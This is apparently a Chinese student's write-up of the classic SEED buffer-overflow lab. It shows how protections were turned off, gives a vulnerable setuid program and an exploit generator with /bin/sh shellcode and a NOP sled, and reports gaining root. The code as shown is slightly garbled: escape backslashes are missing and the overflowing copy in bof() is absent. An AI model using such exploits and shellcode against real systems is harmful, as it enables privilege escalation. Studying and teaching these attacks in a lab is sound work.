20155332 缓冲区溢出漏洞实验

20155332 缓冲区溢出漏洞实验

  • 更新之后进行随机化初始地址分配

  • 禁止不能在这个shell中保持root权限,也就是调用shell是能够同时保存root权限。

  • 为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替 /bin/bash

  • 进入tmp目录下运行文件

  • GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用

–fno-stack-protector 关闭这种机制。
-z execstack 用于允许执行栈
chmod u+s stack 需要root模式下进行
-我的代码

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];
return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"x31xc0"    //xorl %eax,%eax
"x50"        //pushl %eax
"x68""//sh"  //pushl $0x68732f2f
"x68""/bin"  //pushl $0x6e69622f
"x89xe3"    //movl %esp,%ebx
"x50"        //pushl %eax
"x53"        //pushl %ebx
"x89xe1"    //movl %esp,%ecx
"x99"        //cdq
"xb0x0b"    //movb $0x0b,%al
"xcdx80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;


memset(&buffer, 0x90, 517);


strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x94xd0xffxff");
strcpy(buffer+100,shellcode);

badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
  • 进入gdb调试模式,查找首地址
    -
  • 取得shellcode在内存中的地址0xffffd030
  • 算出地址0xffffd094
  • 键入exploit.c文件中
  • 运行成功,获得root权限

练习题

  • sudo sysctl -w kernel.randomize_va_space=2 后初始化的首地址发生变化变为这个了0xfff824d0,这攻击进入的地址为0xfff82534,如果不进行地址更改而直接攻击的的话必定是失败的

    -出现了段错误
    还没有找到解决方法。
原文地址:https://www.cnblogs.com/besti2015/p/7749937.html